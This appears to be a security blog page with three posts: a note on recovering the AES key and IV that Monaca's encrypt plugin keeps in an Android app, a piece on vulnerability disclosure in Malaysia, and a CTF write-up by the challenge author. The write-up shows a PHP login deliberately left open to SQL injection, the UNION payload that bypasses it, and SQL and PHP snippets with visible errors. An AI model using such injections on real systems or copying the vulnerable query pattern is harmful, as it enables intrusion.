Decrypting File encrypted by Monaca Plugin

No comments

You can actually click the images to open the original size.

I stumble upon an android app developed using Monaca development framework with encrypted files. What is Monaca? from the official web

Monaca makes HTML5 hybrid mobile app development with PhoneGap/ Cordova simple and easy. Monaca is the most open hybrid app development platform available and ready to be immediately plugged into your existing workflow and development environment. From Cloud IDE, CLI to debugger and remote online build, everything you need for your hybrid app development is here.

 So basically it just another framework built on top of Cordova.

How do you determine the app is using Monaca framework? Normally, there will be traces of MonacaExtension.init in the MainActivity of the app.

As for Cordova-based app, the HTML code should be located in /assets/www/ folder. Upon opening the index.html, I found that the code is encrypted.

I then investigate the framework, and found out this is part of their offering for paid plan, to encrypt the HTML code using AES. Ref:

The implementation of the encrypt/decrypt routine in the app present in the class io.monaca.plugins.encrypt  

This the entry point for Encrypt plugin by Monaca, as you can see, it actually check if the autoDecrypt being boolean true, then the code will automatically set the Hash. Both variable coming from Config class in the plugin.

Basically, the autoDecrypt is set to True.

This portion of code will be called if the file is encrypted. Look at line(not sure if it actually line) 77 in the screenshot, the plugin check if the current file is actually encrypted. Encrypted monaca file have 8-bytes header. The header is {24, 8, 77, 69, 1, 13, 10, 0} (bytes), the magic header is from isEncrypted method inside the MonacaFile class.

Anyway, back to previous screenshot, the code flow is:
if file is not encrypted, call mFileManager.getRawBytes(path, flagAsset)
else try call mFileManage.getBytes(path, flagAsset) 

The different here is getRawBytes vs getBytes
getRawBytes = read all file content
getBytes = read all file content 8 bytes onward(because the encrypted file have 8-bytes magic header), and apply decryption.

Below are decryption routine code:

Basically, Config.Hash is the Key and first 16 bytes of the Config.Hash is the IV.
Now we have the Key and IV, we should be able to decrypt the file. I wrote little python script to decrypt the encrypted file.

The code:

No comments :

Post a Comment

Reality on Responsible Vulnerability Disclousure in Malaysia

1 comment

Bare with my writing, as I'm about 30h+ since my last sleep.  yep.

Coming from working with Malaysia Computer Emergency Response Team (MyCERT) and SEC Consult (MY) has taught me a reality of responsibly vulnerability disclosure in Malaysia.

Speaking based on my experience, having to directly communicate with vendors. I can say most vendors here are not yet ready to receive any reports of security issues with their products. They always assume you tried to blackmail them and became so defensive. Also, their legal dept and PR dept is not happy with you, for doing some funny stuff with their web/product without first getting their consent.

Take examples of the following vulnerability report:


The vendor fails to respond to all my email sent to them across multiple channels, but somehow able to respond to portswigger blogpost.

2018-02-22:    Contacting vendor through [email protected] (no response)
2018-02-27:    Request update from the vendor (no response)
2018-03-13:    Trying to contact via web form (no response)
2018-05-14:    Public release of security advisory

Another perfect example is from my previous blog post (, this particular vendor even threatening to sue over the security report.

My best experience from doing the reporting stuff is with this report:

The CTO itself replied to the email to acknowledge the report.

I presented at OWASP.MY Meetup in 2018 about the workflow of responsible disclosure, you can check the slide here

That all about reporting the vulnerability of local vendor products. What if you would like to report vulnerability at a particular website who happens to own by Malaysia entity? For example, you found security vulnerability at web something[.]gov[.]my or even any domain ending with dot MY, how do you report it?

You can always report to MyCERT or National Cyber Security Agency (NACSA) thru their web form or just email them.
  • MyCERT:
  • NACSA:

I often report any security vulnerability to MyCERT as I familiar with their escalating SOP, help you a lot with escalating the issue to relevant parties.

When you report to MyCERT or NACSA, don't expect to receive any credit if the vulnerability gets patched. For me, it's better not to put your self in legal trouble because you doing some funny stuff on their web. Not worth the credit you wanted with the legal trouble you might have later. Might also affect your future career.. you know sape nak budak nakal kind of mindset. 

remember, kalau ada orang datang dan berzikir "kita/kami buat semua ini tak amik duit dan hanya buat ini demi negara tercinta" itu adalah tahi lembu.

Ok bye

1 comment :

Post a Comment

Rawsec 2020 - Web2 Challenge Write-Up

No comments
Disclaimer: I'm the challenge author

As this challenge provide source code, we will just look into the source code.

In the contain 3 files.
  1. db.sql
  2. index.php
  3. style.css
Soo... based on code you should realize that this is just textbook SQL Injection. Without dumping whole data from database, you can bypass the login mechanism by using UNION technique to pollute the variable was used in the login process.

The login mechanism:
if(!empty($_POST['username'])) {
 $q = $mysqli->query("SELECT * FROM logins WHERE username = '" . $_POST['username'] . "'");
 if($q->num_rows > 0) {
  // username exists
  $data = $q->fetch_object();
  if( password_verify($_POST['password'], $data->userpass) ) {
   // valid password
   if($data->userlevel >= 999) {
    $flag = include("flag.php");
    echo "<script>alert('Flag: ".$flag."');</script>";
   } else {
    echo "<script>alert('Insufficient user level :)');</script>";
  } else {
   echo "<script>alert('Invalid username or password.');</script>";
 } else {
  echo "<script>alert('Invalid username or password');</script>";

In order to use UNION technique, you required to have same column number as original (first) query. at line number 9 index.php shown SELECT * query, mean that selecting all available column in the table.
$q = $mysqli->query("SELECT * FROM logins WHERE username = '" . $_POST['username'] . "'");

We refer to the db.sql, at CREATE TABLE statement, it has 5 columns.

CREATE TABLE `logins` (
  `username` varchar(255) NOT NULL,
  `userpass` varchar(255) NOT NULL,
  `userlevel` varchar(1) NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)

Now we have all the information we need to do UNION technique.
To generate hash that satisfy password_verify, please use following commands:
php -r "echo password_hash('yourpassword', PASSWORD_DEFAULT);"

After generate the hash.
Our injection would be:
a' and 1=2 union select 1,2,'our generated hash',9999,3 -- a
and fill the password field with yourpassword
Thats all,

Full content of db.sql and index.php

No comments :

Post a Comment